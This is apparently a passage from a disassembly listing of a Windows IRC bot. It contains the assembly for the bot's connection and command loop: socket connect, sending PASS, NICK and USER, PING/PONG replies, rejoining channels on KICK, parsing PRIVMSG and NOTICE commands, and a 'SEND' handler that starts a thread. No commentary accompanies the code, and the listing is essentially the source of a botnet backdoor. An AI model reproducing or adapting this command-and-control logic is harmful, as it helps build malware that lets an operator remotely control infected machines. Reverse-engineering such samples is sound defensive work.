mov [ebp+var_C], ebx
jmp loc_40C949
; ---------------------------------------------------------------------------
loc_40C9F4: ; CODE XREF: sub_40C574+43Ej
cmp byte_42C298, bl
jz loc_40C949
push 7Fh
push offset byte_42C298
push offset dword_46AE94
call sub_416BE0
mov eax, dword_42C23C
push 3Fh
push offset dword_42C2A8
push edi
mov dword_46AFE4, eax
call sub_416BE0
push 3Fh
push offset aDpass_0 ; "dpass"
push esi
call sub_416BE0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40C949
; ---------------------------------------------------------------------------
loc_40CA44: ; CODE XREF: sub_40C574+40Cj
; sub_40C574+435j
call sub_414F9D
loc_40CA49: ; CODE XREF: sub_40C574+AEj
; sub_40C574+BEj
call dword_43C984 ; WSACleanup
loc_40CA4F: ; CODE XREF: sub_40C574+A1j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40C574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA58 proc near ; CODE XREF: sub_40C574+401p
; DATA XREF: sub_40CD3A+393Fo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40CA7D: ; CODE XREF: sub_40CA58+E6j
; sub_40CA58+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43CA24 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_409F7A
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40CBBA
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_415390
push 0
lea eax, [ebp+var_2C]
push dword_46AFF8
push dword_42C260
push eax
call sub_414278
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_441BB0
push edi
push eax
call sub_416BE0
add esp, 28h
push 6
push 1
push 2
call dword_43CAA4 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_441BA4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40CB43
push esi
call dword_43CABC ; closesocket
call sub_409FA3
push 7D0h
loc_40CB38: ; CODE XREF: sub_40CA58+146j
call dword_421060 ; Sleep
jmp loc_40CA7D
; ---------------------------------------------------------------------------
loc_40CB43: ; CODE XREF: sub_40CA58+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_433738
call sub_40B0EC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40CBBE
add esp, 28h
mov edi, eax
push esi
call dword_43CABC ; closesocket
test edi, edi
jz loc_40CA7D
cmp edi, 1
jnz short loc_40CBA0
push 0DBBA0h
jmp short loc_40CB38
; ---------------------------------------------------------------------------
loc_40CBA0: ; CODE XREF: sub_40CA58+13Fj
cmp edi, 2
jnz loc_40CA7D
push [ebp+var_34]
call sub_4150F0
pop ecx
push edi
pop eax
loc_40CBB4: ; CODE XREF: sub_40CA58+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40CBBA: ; CODE XREF: sub_40CA58+5Aj
xor eax, eax
jmp short loc_40CBB4
sub_40CA58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CBBE proc near ; CODE XREF: sub_40CA58+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_415B90
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40CBDC: ; CODE XREF: sub_40CBBE+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40CBDC
cmp byte_46AFFC, bl
jz short loc_40CC03
push offset byte_46AFFC
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_412B8B
add esp, 0Ch
loc_40CC03: ; CODE XREF: sub_40CBBE+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_414278
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_415316
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40CC6D
push [ebp+arg_0]
call dword_43CABC ; closesocket
push 1388h
call dword_421060 ; Sleep
loc_40CC66: ; CODE XREF: sub_40CBBE+D9j
; sub_40CBBE+153j
xor eax, eax
loc_40CC68: ; CODE XREF: sub_40CBBE+16Fj
; sub_40CBBE+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CC6D: ; CODE XREF: sub_40CBBE+92j
; sub_40CBBE+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43CA3C ; recv
test eax, eax
jle short loc_40CC66
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_409965
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40CC6D
lea edi, [ebp+var_A10]
loc_40CCBE: ; CODE XREF: sub_40CBBE+165j
xor esi, esi
inc esi
loc_40CCC1: ; CODE XREF: sub_40CBBE+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40CD3A
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40CD04
push 7D0h
call dword_421060 ; Sleep
jmp short loc_40CCC1
; ---------------------------------------------------------------------------
loc_40CD04: ; CODE XREF: sub_40CBBE+137j
cmp esi, 0FFFFFFFDh
jz short loc_40CD32
cmp esi, 0FFFFFFFEh
jz short loc_40CD2A
cmp esi, 0FFFFFFFFh
jz loc_40CC66
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40CCBE
jmp loc_40CC6D
; ---------------------------------------------------------------------------
loc_40CD2A: ; CODE XREF: sub_40CBBE+14Ej
xor eax, eax
inc eax
jmp loc_40CC68
; ---------------------------------------------------------------------------
loc_40CD32: ; CODE XREF: sub_40CBBE+149j
push 2
pop eax
jmp loc_40CC68
sub_40CBBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD3A proc near ; CODE XREF: sub_40CBBE+12Ap
var_27D4 = byte ptr -27D4h
var_23D4 = byte ptr -23D4h
var_21D4 = byte ptr -21D4h
var_1FD4 = byte ptr -1FD4h
var_1ED4 = byte ptr -1ED4h
var_1DD4 = byte ptr -1DD4h
var_1DD0 = byte ptr -1DD0h
var_1CD0 = dword ptr -1CD0h
var_1CCC = dword ptr -1CCCh
var_1CC8 = byte ptr -1CC8h
var_1C48 = byte ptr -1C48h
var_1BC8 = byte ptr -1BC8h
var_1B48 = byte ptr -1B48h
var_1AC8 = byte ptr -1AC8h
var_1A48 = dword ptr -1A48h
var_1A44 = dword ptr -1A44h
var_1A40 = dword ptr -1A40h
var_1A3C = dword ptr -1A3Ch
var_1A38 = byte ptr -1A38h
var_19B8 = byte ptr -19B8h
var_1938 = byte ptr -1938h
var_18B8 = byte ptr -18B8h
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = byte ptr -1824h
var_17A4 = byte ptr -17A4h
var_1724 = byte ptr -1724h
var_16A4 = dword ptr -16A4h
var_16A0 = dword ptr -16A0h
var_169C = dword ptr -169Ch
var_1698 = dword ptr -1698h
var_1694 = byte ptr -1694h
var_1690 = byte ptr -1690h
var_1590 = byte ptr -1590h
var_158C = byte ptr -158Ch
var_150C = byte ptr -150Ch
var_14CC = byte ptr -14CCh
var_143C = dword ptr -143Ch
var_1438 = dword ptr -1438h
var_1434 = dword ptr -1434h
var_1430 = dword ptr -1430h
var_142C = dword ptr -142Ch
var_1428 = byte ptr -1428h
var_1424 = dword ptr -1424h
var_1420 = byte ptr -1420h
var_13A0 = byte ptr -13A0h
var_1324 = byte ptr -1324h
var_129C = byte ptr -129Ch
var_1220 = dword ptr -1220h
var_121C = dword ptr -121Ch
var_1218 = dword ptr -1218h
var_1214 = byte ptr -1214h
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = byte ptr -1184h
var_1104 = byte ptr -1104h
var_1084 = byte ptr -1084h
var_1004 = dword ptr -1004h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = dword ptr -0FE8h
var_FE0 = byte ptr -0FE0h
var_F60 = byte ptr -0F60h
var_EE0 = dword ptr -0EE0h
var_EDC = dword ptr -0EDCh
var_ED8 = dword ptr -0ED8h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC0 = dword ptr -0EC0h
var_EBC = byte ptr -0EBCh
var_DB8 = dword ptr -0DB8h
var_DB4 = byte ptr -0DB4h
var_D34 = byte ptr -0D34h
var_C35 = byte ptr -0C35h
var_C34 = byte ptr -0C34h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = dword ptr -0B2Ch
var_B28 = dword ptr -0B28h
var_B24 = dword ptr -0B24h
var_B20 = dword ptr -0B20h
var_B1C = dword ptr -0B1Ch
var_B18 = dword ptr -0B18h
var_B14 = dword ptr -0B14h
var_B10 = byte ptr -0B10h
var_A90 = dword ptr -0A90h
var_A8C = byte ptr -0A8Ch
var_A80 = byte ptr -0A80h
var_A7C = byte ptr -0A7Ch
var_A0C = byte ptr -0A0Ch
var_98C = dword ptr -98Ch
var_988 = dword ptr -988h
var_984 = dword ptr -984h
var_980 = dword ptr -980h
var_97C = byte ptr -97Ch
var_970 = byte ptr -970h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = dword ptr -860h
var_858 = byte ptr -858h
var_84C = dword ptr -84Ch
var_848 = byte ptr -848h
var_844 = byte ptr -844h
var_748 = byte ptr -748h
var_740 = byte ptr -740h
var_6C8 = dword ptr -6C8h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = dword ptr -6B0h
var_6AC = dword ptr -6ACh
var_6A8 = byte ptr -6A8h
var_628 = byte ptr -628h
var_5A8 = dword ptr -5A8h
var_5A4 = dword ptr -5A4h
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_588 = byte ptr -588h
var_578 = byte ptr -578h
var_4F8 = byte ptr -4F8h
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = byte ptr -43Ch
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_39C = byte ptr -39Ch
var_394 = dword ptr -394h
var_390 = dword ptr -390h
var_38C = dword ptr -38Ch
var_388 = dword ptr -388h
var_384 = dword ptr -384h
var_380 = dword ptr -380h
var_37C = dword ptr -37Ch
var_378 = dword ptr -378h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = byte ptr -364h
var_33C = byte ptr -33Ch
var_31C = dword ptr -31Ch
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = byte ptr -2D8h
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = word ptr -0D0h
var_CE = word ptr -0CEh
var_CC = dword ptr -0CCh
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 27D4h
call sub_415B90
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
mov [ebp+var_A8], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_D8], ebx
call sub_415390
push 1Bh
lea eax, [ebp+var_43C]
push [ebp+arg_10]
push eax
call sub_416BE0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40D18F
push esi
lea eax, [ebp+var_21D4]
push ebx
push eax
call sub_415390
dec esi
lea eax, [ebp+var_21D4]
push esi
push [ebp+arg_0]
push eax
call sub_416BE0
lea eax, [ebp+var_21D4]
push offset asc_436BF4 ; " :"
push eax
call sub_4158E0
mov [ebp+var_C], eax
lea eax, [ebp+var_21D4]
push esi
push eax
lea eax, [ebp+var_23D4]
push eax
call sub_416BE0
mov esi, offset asc_426A34 ; " "
lea eax, [ebp+var_23D4]
push esi
push eax
call sub_416B3F
xor edi, edi
add esp, 34h
mov [ebp+var_94], eax
inc edi
loc_40CE00: ; CODE XREF: sub_40CD3A+DAj
push esi
push ebx
call sub_416B3F
mov [ebp+edi*4+var_94], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_40CE00
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40D18F
cmp [ebp+var_90], ebx
jz loc_40D18F
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_415390
add esp, 0Ch
push 1Fh
pop edx
loc_40CE48: ; CODE XREF: sub_40CD3A+142j
lea ecx, [ebp+edx*4+var_94]
mov eax, [ecx]
cmp eax, ebx
jz short loc_40CE7B
cmp byte ptr [eax], 2Dh
jnz short loc_40CE7E
cmp [eax+2], bl
jnz short loc_40CE7E
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40CE7B: ; CODE XREF: sub_40CD3A+119j
dec edx
jns short loc_40CE48
loc_40CE7E: ; CODE XREF: sub_40CD3A+11Ej
; sub_40CD3A+123j
xor edi, edi
inc edi
cmp [ebp+var_8ED], bl
jz short loc_40CE8C
mov [ebp+var_8], edi
loc_40CE8C: ; CODE XREF: sub_40CD3A+14Dj
cmp [ebp+var_8F2], bl
jz short loc_40CE9A
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40CE9A: ; CODE XREF: sub_40CD3A+158j
cmp byte ptr [esi], 0Ah
jz short loc_40CED4
push 7Fh
lea eax, [ebp+var_B10]
push esi
push eax
call sub_416BE0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_416BE0
lea eax, [ebp+var_C0]
push offset dword_42F650
push eax
call sub_416B3F
add esp, 20h
loc_40CED4: ; CODE XREF: sub_40CD3A+163j
push esi
push offset aPing ; "PING"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CF25
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_412B8B
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40CFC9
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 10h
jmp loc_40CFC9
; ---------------------------------------------------------------------------
loc_40CF25: ; CODE XREF: sub_40CD3A+1A9j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41299F
push esi
push offset a005 ; "005"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41299F
push esi
push offset a302 ; "302"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CF90
push offset a@_6 ; "@"
push [ebp+var_88]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40CFC9
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_416BE0
add esp, 0Ch
jmp short loc_40CFC9
; ---------------------------------------------------------------------------
loc_40CF90: ; CODE XREF: sub_40CD3A+22Aj
push esi
push offset a433 ; "433"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CFD0
push ebx
push dword_46AFF8
push dword_42C260
push [ebp+arg_10]
call sub_414278
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 1Ch
loc_40CFC9: ; CODE XREF: sub_40CD3A+1CAj
; sub_40CD3A+1E6j ...
mov eax, edi
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_40CFD0: ; CODE XREF: sub_40CD3A+265j
mov esi, [ebp+arg_18]
mov [ebp+var_D4], 2
mov edi, 80h
loc_40CFE2: ; CODE XREF: sub_40CD3A+2CDj
lea eax, [ebp+var_B10]
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CFFF
mov [ebp+var_A4], 1
loc_40CFFF: ; CODE XREF: sub_40CD3A+2B9j
add esi, edi
dec [ebp+var_D4]
jnz short loc_40CFE2
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D0E8
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40D02E: ; CODE XREF: sub_40CD3A+373j
cmp [esi], bl
jz short loc_40D0A8
push 7Fh
lea eax, [ebp+var_B10]
push esi
push eax
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_88], ebx
jz short loc_40D0A8
push [ebp+var_88]
lea eax, [ebp+var_C0]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0A8
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2D8]
push offset dword_436B80
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
add esp, 20h
loc_40D0A8: ; CODE XREF: sub_40CD3A+2F6j
; sub_40CD3A+310j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40D02E
push [ebp+var_88]
push [ebp+arg_10]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D18F
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40D0DB: ; CODE XREF: sub_40CD3A+5D6j
; sub_40CD3A+918j
push [ebp+arg_4]
call sub_412B8B
jmp loc_412188
; ---------------------------------------------------------------------------
loc_40D0E8: ; CODE XREF: sub_40CD3A+2E4j
push esi
push offset aNick ; "NICK"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D224
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40D111: ; CODE XREF: sub_40CD3A+429j
lea eax, [ebp+var_B10]
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D15E
lea eax, [ebp+var_B10]
push 21h
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40D15E
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_415A20
push [ebp+arg_1C]
push edi
call sub_415A30
add esp, 10h
mov edi, 80h
loc_40D15E: ; CODE XREF: sub_40CD3A+3E8j
; sub_40CD3A+3FFj
add esi, edi
dec [ebp+arg_0]
jnz short loc_40D111
cmp [ebp+arg_24], ebx
jz short loc_40D18F
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D197
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_416BE0
add esp, 0Ch
loc_40D18F: ; CODE XREF: sub_40CD3A+5Bj
; sub_40CD3A+E4j ...
xor eax, eax
inc eax
loc_40D192: ; CODE XREF: sub_40CD3A+291j
; sub_40CD3A+281Fj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D197: ; CODE XREF: sub_40CD3A+443j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D19C: ; CODE XREF: sub_40CD3A+483j
cmp [edi], bl
jz short loc_40D1B3
lea eax, [ebp+var_B10]
push eax
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D1C1
loc_40D1B3: ; CODE XREF: sub_40CD3A+464j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D19C
jmp short loc_40D18F
; ---------------------------------------------------------------------------
loc_40D1C1: ; CODE XREF: sub_40CD3A+477j
lea eax, [ebp+var_B10]
push 21h
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_40D18F
push eax
call sub_415B10
push [ebp+arg_24]
mov edi, eax
call sub_415B10
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40D18F
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_415316
push ebx
lea eax, [ebp+var_33C]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_40D224: ; CODE XREF: sub_40CD3A+3BDj
push esi
push offset aPart ; "PART"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D246
push esi
push offset aQuit ; "QUIT"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D26D
loc_40D246: ; CODE XREF: sub_40CD3A+4F9j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D24B: ; CODE XREF: sub_40CD3A+531j
cmp [edi], bl
jz short loc_40D261
push [ebp+var_94]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D2B4
loc_40D261: ; CODE XREF: sub_40CD3A+513j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D24B
loc_40D26D: ; CODE XREF: sub_40CD3A+50Aj
push [ebp+var_90]
push offset a353 ; "353"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D315
push [ebp+var_84]
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2A4
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40D2A4: ; CODE XREF: sub_40CD3A+55Fj
push [ebp+var_84]
push offset dword_436B20
jmp loc_412993
; ---------------------------------------------------------------------------
loc_40D2B4: ; CODE XREF: sub_40CD3A+525j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436AEC
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
push [ebp+var_90]
push offset aPart ; "PART"
call sub_415730
add esp, 18h
test eax, eax
jnz loc_40D18F
lea eax, [ebp+var_2D8]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40D0DB
; ---------------------------------------------------------------------------
loc_40D315: ; CODE XREF: sub_40CD3A+547j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_415730
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40D369
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D369
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
cmp dword_42C250, ebx
jz loc_412818
loc_40D369: ; CODE XREF: sub_40CD3A+5F5j
; sub_40CD3A+607j
push [ebp+var_90]
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D4E2
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D4E2
mov eax, [ebp+var_88]
inc [ebp+var_84]
mov [ebp+var_A8], 4
mov [ebp+var_8C], eax
loc_40D3B1: ; CODE XREF: sub_40CD3A+867j
; sub_40CD3A+8EDj ...
mov eax, [ebp+var_A8]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_94]
mov eax, [edi]
push eax
push offset dword_436AD0
mov [ebp+arg_8], eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D7CB
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D693
cmp [ebp+var_A4], ebx
jz loc_40D669
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_844]
push edi
push eax
call sub_415316
push [ebp+esi+var_88]
lea eax, [ebp+var_858]
push edi
push eax
call sub_415316
push [ebp+esi+var_84]
call sub_41587F
mov [ebp+var_6C0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_740]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_844]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436A88
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 12h
push eax
call sub_414DDA
add esp, 44h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B9BC
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jz loc_411406
jmp loc_40D65F
; ---------------------------------------------------------------------------
loc_40D4E2: ; CODE XREF: sub_40CD3A+63Fj
; sub_40CD3A+655j
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D4FB
mov [ebp+var_4], 1
loc_40D4FB: ; CODE XREF: sub_40CD3A+7B8j
cmp [ebp+var_8C], ebx
jz loc_40D18F
push (offset loc_426447+1)
push [ebp+var_8C]
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_40D522
cmp [ebp+var_4], ebx
